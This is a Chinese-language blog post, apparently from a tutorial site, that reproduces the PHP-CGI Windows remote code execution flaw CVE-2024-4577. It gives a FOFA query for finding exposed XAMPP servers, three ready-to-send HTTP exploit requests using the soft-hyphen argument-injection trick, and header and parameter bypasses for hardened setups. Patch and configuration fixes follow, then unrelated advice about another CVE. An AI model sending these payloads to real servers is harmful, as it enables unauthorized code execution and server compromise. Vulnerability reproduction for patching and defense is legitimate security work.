PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)复现

PHP语言在设计时忽略了Windows对字符编码转换的 Best-Fit 特性,导致未授权的攻击者可以通过特定字符串绕过 CVE-2012-1823 补丁,执行任意PHP代码,导致服务器失陷。

1.漏洞级别

高危

2.漏洞搜索

fofa:

app="XAMPP"

3.影响范围

PHP8.3 < 8.3.8
PHP8.2 < 8.2.20
PHP < 8.1.29
低版本PHP基本都可以生效

4.漏洞复现

4.1 限制条件分析

  • 系统环境为Windows
  • 使用了如下语系:简体中文936/繁体中文950/日文932
  • 直接使用php-cgi启动
  • 即使 PHP 未配置为 CGI 模式,仅将 PHP 可执行二进制文件暴露在 CGI 目录 (XAMPP默认配置)

4.2 漏洞利用

在低版本的XAMPP默认配置下是完美满足所有的利用条件。
可以直接构造POC

GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

<?php phpinfo() ?>

注:

  • 这里的请求POST或者GET皆可,没有区别。
  • 正文里面的字段为需要执行的语句,需要以PHP文件的形式
    在这里插入图片描述
    在这种默认情况下漏洞利用相对简单。

4.3 漏洞进阶

但是如果我们在一些服务器上进行测试你就会发现,对该漏洞的利用失败,出现如下错误。
在这里插入图片描述这里的主要原因是因为PHP-CGI并不是高版本下的默认启动版本。我们通过phpinfo()页面就可以看到。
在这里插入图片描述PHP存在安全机制,在没有Action指令的情况下直接访问php-cgi.exe,REDIRECT_STATUS环境变量不会被设置,导致访问会返回500,这一配置是默认存在的。
解决方法也很简单,手动构造REDIRECT_STATUS变量即可,
构造

GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Redirect-Status: 1
Content-Length: 22

<?php phpinfo() ?>

即可成功返回结果
在这里插入图片描述

另外的,我们也可以通过设置参数-d cgi.force_redirect=0 来绕过Redirect-Status的校验。
注:在高版本PHP中,allow_url_include已经被废弃,导致Content-Type头输出失败,也会返回500。需要添加一个-d error_reporting=0来规避这一点。
构造:

GET /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+error_reporting%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Length: 23

<?php phpinfo(); ?>

注:这个方法是我看大佬的文章中提到,实际测试中发现还是会500,不知道原因,但是也附在这里,提供给大家参考。

5.修复方案

  • 1.升级PHP版本,官方已推出修复方案。修复版本包括最新的 PHP 版本 8.3.8、8.2.20 和 8.1.29。
  • 于使用 XAMPP for Windows 的用户:如果您确认不需要 PHP CGI 功能,则可以通过修改以下 Apache HTTP Server 配置来避免暴露于此漏洞
 C:/xampp/apache/conf/extra/httpd-xampp.conf

找到相应的行:

ScriptAlias /php-cgi/ "C:/xampp/php/"

并将其注释掉

# ScriptAlias /php-cgi/ "C:/xampp/php/"
  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
针对PHP远程代码执行漏洞(CVE-2022-31625),以下是一些修复方法: 1. 更新到最新版本:确保你的PHP版本是最新的,因为漏洞修复通常会包含在更新中。请访问PHP官方网站或者使用包管理工具来获取最新版本。 2. 禁用危险函数:在php.ini配置文件中,禁用危险函数可以帮助防止远程代码执行。可以使用disable_functions指令来禁用一些敏感函数,如eval()、exec()、system()等。 3. 安全配置:检查你的PHP配置文件,确保安全设置已经启用。例如,禁用动态加载扩展、限制文件上传目录和大小、禁用远程文件包含等。 4. 输入验证和过滤:在你的应用程序中对用户输入进行严格的验证和过滤,以防止恶意代码注入。 5. 使用安全框架或库:使用安全框架或库来帮助防止远程代码执行漏洞。这些框架通常提供安全的默认配置和内置的安全功能。 6. 定期更新和监控:定期检查并更新你的应用程序和相关组件,以确保及时修复已知漏洞。同时,监控应用程序的日志和网络流量,以便及时发现异常行为。 请注意,这些方法只是一些常用的修复措施,具体的修复方法可能会因系统配置和应用程序的特定情况而有所不同。建议在修复漏洞之前,先进行充分的测试和备份。此外,如果你不确定如何处理或无法解决该漏洞,请咨询安全专家或PHP开发人员的帮助。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值